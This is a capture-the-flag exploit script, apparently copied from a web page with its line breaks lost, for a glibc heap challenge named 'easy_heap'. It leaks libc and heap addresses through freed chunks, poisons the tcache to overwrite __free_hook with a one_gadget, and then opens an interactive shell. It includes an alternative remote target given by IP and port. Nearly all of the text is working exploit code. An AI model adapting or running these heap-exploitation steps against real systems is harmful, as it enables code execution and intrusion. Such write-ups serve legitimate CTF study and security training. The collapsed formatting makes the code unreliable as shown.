1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107
| from pwn import *
arch = 64 challenge = './easy_heap'
context.os='linux'
if arch==64: context.arch='amd64' if arch==32: context.arch='i386'
elf = ELF(challenge) libc = ELF('libc.so.6')
rl = lambda a=False : p.recvline(a) ru = lambda a,b=True : p.recvuntil(a,b) rn = lambda x : p.recvn(x) sn = lambda x : p.send(x) sl = lambda x : p.sendline(x) sa = lambda a,b : p.sendafter(a,b) sla = lambda a,b : p.sendlineafter(a,b) irt = lambda : p.interactive() dbg = lambda text=None : gdb.attach(p, text)
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s))) uu32 = lambda data : u32(data.ljust(4, b'x00')) uu64 = lambda data : u64(data.ljust(8, b'x00'))
local = 1 if local: p = process(challenge) else: p = remote('119.13.105.35','10111') def debug(): gdb.attach(p) def cmd(op): sla(": ",str(op)) def add(size,index,data): cmd(1) sla("size :",str(size)) sla("index :",str(index)) sla("content:",data)
def show(index): cmd(2) sla("index:",str(index))
def dele(index): cmd(3) sla("index:",str(index))
add(0x410,1,'a'*0x50) add(0x410,2,'a'*0x50) add(0x410,3,'a'*0x50) add(0x450,4,'a'*0x50)
dele(1) dele(3)
show(1) p.recvuntil("content :\n") leak_addr = u64(p.recv(6).ljust(8,"\x00")) libc_base = leak_addr - 0x3ebca0 success("leak_addr >> "+hex(leak_addr)) success("libc_base >> "+hex(libc_base))
show(3) p.recvuntil("content :\n") leak_addr = u64(p.recv(6).ljust(8,"\x00")) heap_base = leak_addr - 0x250 success("leak_addr >> "+hex(leak_addr)) success("heap_base >> "+hex(heap_base))
free_hook = libc_base + libc.sym["__free_hook"] one_gadgets = [0x4f2a5,0x4f302,0x10a2fc] one_gadget = libc_base + one_gadgets[1] success("free_hook >> "+hex(free_hook))
for i in range(10): add(0x70,i+5,'a'*0x50)
for i in range(8): dele(i+5)
dele(13) dele(12)
for i in range(7): add(0x70,i+15,'a'*0x50)
add(0x70,22,p64(free_hook)) add(0x70,23,"/bin/sh\x00") add(0x70,24,"/bin/sh\x00") add(0x70,25,p64(one_gadget))
dele(23)
p.interactive()
|